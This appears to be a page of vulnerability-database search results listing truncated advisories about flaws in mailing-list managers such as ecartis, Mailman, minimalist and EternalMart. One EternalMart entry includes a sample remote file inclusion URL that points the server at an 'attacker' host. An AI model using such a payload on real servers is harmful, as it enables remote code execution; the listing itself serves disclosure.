953 matches found
DSA-572-1 ecartis - multiple
Bulletin has no description...
ecartis -- unauthorised access to admin interface
A Debian security advisory reports: A problem has been discovered in ecartis, a mailing-list manager, which allows an attacker in the same domain as the list admin to gain administrator privileges and alter list settings...
Mailman Crated Email Remote User Password Disclosure
The target is running a version of the Mailman mailing list software that allows a list subscriber to retrieve the mailman password of any other subscriber by means of a specially crafted mail message to the server. That is, a message sent to $listname-request@$target containing the lines :...
CVE-2003-0781
Unknown vulnerability in ecartis before 1.0.0 does not properly validate user input, which allows attackers to obtain mailing list passwords...
Multiple ecartis bugs
Buffer overflows, maillist password disclosure...
DSA-467 ecartis - several vulnerabilities
Bulletin has no description...
[UNIX] phpNewsManager Directory Travarsal
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...
CVE-2003-0902
Unknown vulnerability in minimalist mailing list manager 2.4, 2.2, and possibly other versions, allows remote attackers to execute arbitrary commands...
CVE-2003-0902
CVE-2003-0902 affects minimalist, a mailing-list manager. Public details in Debian DSA-402 describe a remote code-execution vulnerability caused by unsanitised input in minimalist versions 2.4 and 2.2 (and possibly other builds). Debian advisories state fixed packages: 2.2-4 for woody (stable) an...
CVE-2003-0902
Unknown vulnerability in minimalist mailing list manager 2.4, 2.2, and possibly other versions, allows remote attackers to execute arbitrary commands...
BulletScript MailList bsml.pl Information Disclosure
The remote host is using BulletScript's bsml.pl, the web interface to a mailing list manager. The lack of authentication in this CGI may allow an attacker to gain control on the email addresses database of the remote mailing list. A remote attacker can manipulate the 'action' parameter of bsml.pl...
CVE-2003-1313
Multiple PHP remote file inclusion vulnerabilities in EternalMart Mailing List Manager EMLM 1.32 allow remote attackers to execute arbitrary PHP code via a URL in 1 the emmladminpath parameter to admin/auth.php or 2 the emmlpath parameter to emmlemailfunc.php...
EMML.txt
Informations : °°°°°°°°°°°°° Language : PHP ------------------------------------------------- Produit : EMML EternalMart Mailing List Manager Version : 1.32 ------------------------------------------------- Produit : EMGB EternalMart Guestbook Version : 1.1...
EternalMart Mailing List Manager 1.32 - Remote File Inclusion
source: https://www.securityfocus.com/bid/8767/info EternalMart Mailing List Manager and Guestbook are prone to remote file-include vulnerabilities. Remote attackers may cause malicious PHP code to run on the webserver. http://target/admin/auth.php?emmladminpath=http://attacker will include the...
EternalMart Mailing List Manager 1.32 - Remote File Inclusion
EternalMart Mailing List Manager 1.32 - Remote File Inclusion source: https://www.securityfocus.com/bid/8767/info EternalMart Mailing List Manager and Guestbook are prone to remote file-include vulnerabilities. Remote attackers may cause malicious PHP code to run on the webserver...
ecartis buffer overflows and input validation bugs
Timo Sirainen reports multiple buffer overflows that may be triggered while parsing messages, as well as input validation errors that could result in disclosure of mailing list passwords. These bugs were resolved in the August 2003 snapshot of ecartis...
Several security issues were reported to BugTraq mailing list. However most of these issues were already fixed some time ago.
PMASA-2003-1 Announcement-ID: PMASA-2003-1 Date: 2003-06-18 Summary Several security issues were reported to BugTraq mailing list. However most of these issues were already fixed some time ago. Description Reporter wrote that he found following issues within phpMyAdmin code each issue is followed...
SRT2003-05-08-1137 - ListProc mailing list ULISTPROC_UMASK overflow
Secure Network Operations, Inc. http://www.secnetops.com Strategic Reconnaissance Team [email protected] Team Lead Contact [email protected] Our Mission: Secure Network Operations offers expertise in Networking, Intrusion Detection Systems IDS, Software Security Validation, and...
Ecartis HTML Field Manipulation Arbitrary User Password Reset
The remote host is running the Ecartis Mailing List Manager web interface lsg2.cgi. According to its version number, there is a vulnerability that allows an authenticated user to change anyone's password, including the list administrators. An authenticated attacker could exploit this to take...